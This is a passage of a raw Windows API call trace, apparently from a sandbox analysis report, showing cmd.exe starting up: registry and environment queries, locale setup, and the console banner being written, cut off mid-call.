00000000:0001217e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 33 os_tid = 0xdf4 [0129.262] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7d4a80000 [0129.262] __set_app_type (_Type=0x1) [0129.262] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7d4a96d00) returned 0x0 [0129.262] __getmainargs (in: _Argc=0x7ff7d4ab9200, _Argv=0x7ff7d4ab9208, _Env=0x7ff7d4ab9210, _DoWildCard=0, _StartInfo=0x7ff7d4ab921c | out: _Argc=0x7ff7d4ab9200, _Argv=0x7ff7d4ab9208, _Env=0x7ff7d4ab9210) returned 0 [0129.263] _onexit (_Func=0x7ff7d4a97fd0) returned 0x7ff7d4a97fd0 [0129.263] _onexit (_Func=0x7ff7d4a97fe0) returned 0x7ff7d4a97fe0 [0129.263] _onexit (_Func=0x7ff7d4a97ff0) returned 0x7ff7d4a97ff0 [0129.263] _onexit (_Func=0x7ff7d4a98000) returned 0x7ff7d4a98000 [0129.263] _onexit (_Func=0x7ff7d4a98010) returned 0x7ff7d4a98010 [0129.264] _onexit (_Func=0x7ff7d4a98020) returned 0x7ff7d4a98020 [0129.264] GetCurrentThreadId () returned 0xdf4 [0129.264] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xdf4) returned 0x70 [0129.265] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff9b4be0000 [0129.265] GetProcAddress (hModule=0x7ff9b4be0000, lpProcName="SetThreadUILanguage") returned 0x7ff9b4bfa990 [0129.265] SetThreadUILanguage (LangId=0x0) returned 0x409 [0129.412] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0129.412] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ed00ffaf8 | out: phkResult=0x1ed00ffaf8*=0x0) returned 0x2 [0129.412] VirtualQuery (in: lpAddress=0x1ed00ffae4, lpBuffer=0x1ed00ffa60, dwLength=0x30 | out: lpBuffer=0x1ed00ffa60*(BaseAddress=0x1ed00ff000, AllocationBase=0x1ed0000000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0129.412] VirtualQuery (in: lpAddress=0x1ed0000000, lpBuffer=0x1ed00ffa60, dwLength=0x30 | out: lpBuffer=0x1ed00ffa60*(BaseAddress=0x1ed0000000, AllocationBase=0x1ed0000000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0129.412] VirtualQuery (in: lpAddress=0x1ed0001000, lpBuffer=0x1ed00ffa60, dwLength=0x30 | out: lpBuffer=0x1ed00ffa60*(BaseAddress=0x1ed0001000, AllocationBase=0x1ed0000000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0129.412] VirtualQuery (in: lpAddress=0x1ed0004000, lpBuffer=0x1ed00ffa60, dwLength=0x30 | out: lpBuffer=0x1ed00ffa60*(BaseAddress=0x1ed0004000, AllocationBase=0x1ed0000000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0129.412] VirtualQuery (in: lpAddress=0x1ed0100000, lpBuffer=0x1ed00ffa60, dwLength=0x30 | out: lpBuffer=0x1ed00ffa60*(BaseAddress=0x1ed0100000, AllocationBase=0x1ed0100000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0129.412] GetConsoleOutputCP () returned 0x1b5 [0129.623] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0129.624] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7d4aa8150, Add=1) returned 1 [0129.624] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.624] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7d4abfc04 | out: lpMode=0x7ff7d4abfc04) returned 0 [0129.624] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.624] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7d4abfc00 | out: lpMode=0x7ff7d4abfc00) returned 0 [0129.624] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.624] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0129.624] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.624] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7d4abfc08 | out: lpMode=0x7ff7d4abfc08) returned 0 [0129.624] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.624] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7d4abfc0c | out: lpMode=0x7ff7d4abfc0c) returned 0 [0129.624] GetEnvironmentStringsW () returned 0x218d4285a40* [0129.625] GetProcessHeap () returned 0x218d4280000 [0129.625] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xab6) returned 0x218d4286500 [0129.625] FreeEnvironmentStringsA (penv="=") returned 1 [0129.625] GetProcessHeap () returned 0x218d4280000 [0129.625] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x8) returned 0x218d4285a40 [0129.625] GetEnvironmentStringsW () returned 0x218d4286fd0* [0129.625] GetProcessHeap () returned 0x218d4280000 [0129.625] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xab6) returned 0x218d4287a90 [0129.625] FreeEnvironmentStringsA (penv="=") returned 1 [0129.625] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ed00fe9a8 | out: phkResult=0x1ed00fe9a8*=0x7c) returned 0x0 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x0, lpData=0x1ed00fe9c0*=0x4, lpcbData=0x1ed00fe9a4*=0x1000) returned 0x2 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x4, lpData=0x1ed00fe9c0*=0x1, lpcbData=0x1ed00fe9a4*=0x4) returned 0x0 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x0, lpData=0x1ed00fe9c0*=0x1, lpcbData=0x1ed00fe9a4*=0x1000) returned 0x2 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x4, lpData=0x1ed00fe9c0*=0x0, lpcbData=0x1ed00fe9a4*=0x4) returned 0x0 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x4, lpData=0x1ed00fe9c0*=0x40, lpcbData=0x1ed00fe9a4*=0x4) returned 0x0 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x4, lpData=0x1ed00fe9c0*=0x40, lpcbData=0x1ed00fe9a4*=0x4) returned 0x0 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x0, lpData=0x1ed00fe9c0*=0x40, lpcbData=0x1ed00fe9a4*=0x1000) returned 0x2 [0129.626] RegCloseKey (hKey=0x7c) returned 0x0 [0129.626] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ed00fe9a8 | out: phkResult=0x1ed00fe9a8*=0x7c) returned 0x0 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x0, lpData=0x1ed00fe9c0*=0x40, lpcbData=0x1ed00fe9a4*=0x1000) returned 0x2 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x4, lpData=0x1ed00fe9c0*=0x1, lpcbData=0x1ed00fe9a4*=0x4) returned 0x0 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x0, lpData=0x1ed00fe9c0*=0x1, lpcbData=0x1ed00fe9a4*=0x1000) returned 0x2 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x4, lpData=0x1ed00fe9c0*=0x0, lpcbData=0x1ed00fe9a4*=0x4) returned 0x0 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x4, lpData=0x1ed00fe9c0*=0x9, lpcbData=0x1ed00fe9a4*=0x4) returned 0x0 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x4, lpData=0x1ed00fe9c0*=0x9, lpcbData=0x1ed00fe9a4*=0x4) returned 0x0 [0129.626] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ed00fe9a0, lpData=0x1ed00fe9c0, lpcbData=0x1ed00fe9a4*=0x1000 | out: lpType=0x1ed00fe9a0*=0x0, lpData=0x1ed00fe9c0*=0x9, lpcbData=0x1ed00fe9a4*=0x1000) returned 0x2 [0129.626] RegCloseKey (hKey=0x7c) returned 0x0 [0129.626] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca90b65 [0129.626] srand (_Seed=0x5ca90b65) [0129.626] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0129.626] malloc (_Size=0x4000) returned 0x218d4475530 [0129.627] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0129.627] malloc (_Size=0xffce) returned 0x218d4480080 [0129.627] ??_V@YAXPEAX@Z () returned 0x218d4480080 [0129.627] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x218d4480080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0129.628] malloc (_Size=0xffce) returned 0x218d4490060 [0129.628] ??_V@YAXPEAX@Z () returned 0x218d4490060 [0129.628] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x218d4490060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0129.628] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0129.628] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0129.628] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0129.629] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0129.629] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0129.629] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0129.629] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0129.629] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0129.629] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0129.629] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0129.629] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0129.629] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0129.629] GetProcessHeap () returned 0x218d4280000 [0129.629] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4286500) returned 1 [0129.629] GetEnvironmentStringsW () returned 0x218d4285a60* [0129.629] GetProcessHeap () returned 0x218d4280000 [0129.629] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xace) returned 0x218d4286540 [0129.629] FreeEnvironmentStringsA (penv="=") returned 1 [0129.629] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0129.629] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0129.629] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0129.629] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0129.629] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0129.629] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0129.629] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0129.629] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0129.629] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0129.629] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0129.629] malloc (_Size=0xffce) returned 0x218d44a0040 [0129.629] ??_V@YAXPEAX@Z () returned 0x218d44a0040 [0129.630] GetProcessHeap () returned 0x218d4280000 [0129.630] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x38) returned 0x218d4288580 [0129.630] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x218d44a0040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0129.630] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x218d44a0040, lpFilePart=0x1ed00ff520 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x1ed00ff520*="system32") returned 0x13 [0129.630] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0129.630] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x1ed00ff250 | out: lpFindFileData=0x1ed00ff250) returned 0x218d42885c0 [0129.630] FindClose (in: hFindFile=0x218d42885c0 | out: hFindFile=0x218d42885c0) returned 1 [0129.630] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x1ed00ff250 | out: lpFindFileData=0x1ed00ff250) returned 0x218d42885c0 [0129.631] FindClose (in: hFindFile=0x218d42885c0 | out: hFindFile=0x218d42885c0) returned 1 [0129.631] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0129.631] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0129.631] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0129.631] GetProcessHeap () returned 0x218d4280000 [0129.631] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4286540) returned 1 [0129.631] GetEnvironmentStringsW () returned 0x218d4285a60* [0129.631] GetProcessHeap () returned 0x218d4280000 [0129.631] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xafe) returned 0x218d4286570 [0129.631] FreeEnvironmentStringsA (penv="=") returned 1 [0129.631] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x218d4480080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0129.631] GetProcessHeap () returned 0x218d4280000 [0129.631] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4288580) returned 1 [0129.631] ??_V@YAXPEAX@Z () returned 0x1 [0129.631] ??_V@YAXPEAX@Z () returned 0x1 [0129.631] GetProcessHeap () returned 0x218d4280000 [0129.631] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x4016) returned 0x218d4288580 [0129.631] GetProcessHeap () returned 0x218d4280000 [0129.631] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4288580) returned 1 [0129.631] GetConsoleOutputCP () returned 0x1b5 [0129.708] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0129.708] GetUserDefaultLCID () returned 0x409 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7d4abbb78, cchData=8 | out: lpLCData=":") returned 2 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1ed00ff8e0, cchData=128 | out: lpLCData="0") returned 2 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1ed00ff8e0, cchData=128 | out: lpLCData="0") returned 2 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1ed00ff8e0, cchData=128 | out: lpLCData="1") returned 2 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7d4abbb68, cchData=8 | out: lpLCData="/") returned 2 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7d4abbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7d4abbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7d4abba80, cchData=32 | out: lpLCData="Wed") returned 4 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7d4abba40, cchData=32 | out: lpLCData="Thu") returned 4 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7d4abba00, cchData=32 | out: lpLCData="Fri") returned 4 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7d4abb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7d4abb980, cchData=32 | out: lpLCData="Sun") returned 4 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7d4abbb58, cchData=8 | out: lpLCData=".") returned 2 [0129.708] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7d4abbb40, cchData=8 | out: lpLCData=",") returned 2 [0129.708] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0129.710] GetProcessHeap () returned 0x218d4280000 [0129.710] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x0, Size=0x20c) returned 0x218d42870f0 [0129.710] GetConsoleTitleW (in: lpConsoleTitle=0x218d42870f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0129.711] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.711] GetFileType (hFile=0x254) returned 0x3 [0129.711] ApiSetQueryApiSetPresence () returned 0x0 [0129.712] ResolveDelayLoadedAPI () returned 0x7ff9aca3d990 [0129.720] BrandingFormatString () returned 0x218d42862f0 [0129.727] GetVersion () returned 0x3ad7000a [0129.727] _vsnwprintf (in: _Buffer=0x1ed00ffa40, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x1ed00ff9d8 | out: _Buffer="10.0.15063") returned 10 [0129.727] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.727] GetFileType (hFile=0x254) returned 0x3 [0129.727] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7d4ac7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0129.728] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7d4ac7f60, nSize=0x2000, Arguments=0x1ed00ff9e0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0129.728] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0129.728] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1ed00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x1ed00ff938*=0x26, lpOverlapped=0x0) returned 1 [0129.728] _vsnwprintf (in: _Buffer=0x7ff7d4ac7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ed00ffa08 | out: _Buffer="\r\n") returned 2 [0129.728] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.728] GetFileType (hFile=0x254) returned 0x3 [0129.728] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0129.728] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ed00ff9d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x1ed00ff9d8*=0x2, lpOverlapped=0x0) returned 1 [0129.728] _vsnwprintf (in: _Buffer=0x7ff7d4ac7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x1ed00ffa08 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0129.728] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.728] GetFileType (hFile=0x254) returned 0x3 [0129.728] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0129.728] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x1ed00ff9d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x1ed00ff9d8*=0x34, lpOverlapped=0x0) returned 1 [0129.728] _vsnwprintf (in: _Buffer=0x7ff7d4ac7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ed00ffa08 | out: _Buffer="\r\n") returned 2 [0129.728] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.728] GetFileType (hFile=0x254) returned 0x3 [0129.728] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0129.728] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ed00ff9d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x1ed00ff9d8*=0x2, lpOverlapped=0x0) returned 1 [0129.728] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff9b4be0000 [0129.729] GetProcAddress (hModule=0x7ff9b4be0000, lpProcName="CopyFileExW") returned 0x7ff9b4bfe830 [0129.729] GetProcAddress (hModule=0x7ff9b4be0000, lpProcName="IsDebuggerPresent") returned 0x7ff9b4bfe300 [0129.729] GetProcAddress (hModule=0x7ff9b4be0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff9b1d70a40 [0129.729] ??_V@YAXPEAX@Z () returned 0x1 [0129.729] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.729] GetFileType (hFile=0x248) returned 0x3 [0129.729] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0129.729] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1ed00ff848 | out: TokenHandle=0x1ed00ff848*=0x0) returned 0xc000007c [0129.729] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1ed00ff848 | out: TokenHandle=0x1ed00ff848*=0x94) returned 0x0 [0129.729] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x1ed00ff7f8, TokenInformationLength=0x4, ReturnLength=0x1ed00ff800 | out: TokenInformation=0x1ed00ff7f8, ReturnLength=0x1ed00ff800) returned 0x0 [0129.730] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x1ed00ff800, TokenInformationLength=0x4, ReturnLength=0x1ed00ff7f8 | out: TokenInformation=0x1ed00ff800, ReturnLength=0x1ed00ff7f8) returned 0x0 [0129.730] NtClose (Handle=0x94) returned 0x0 [0129.730] _vsnwprintf (in: _Buffer=0x7ff7d4ac7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ed00ff688 | out: _Buffer="\r\n") returned 2 [0129.730] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.730] GetFileType (hFile=0x254) returned 0x3 [0129.731] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0129.731] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ed00ff658, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x1ed00ff658*=0x2, lpOverlapped=0x0) returned 1 [0129.731] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0129.731] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x218d4480080 | out: 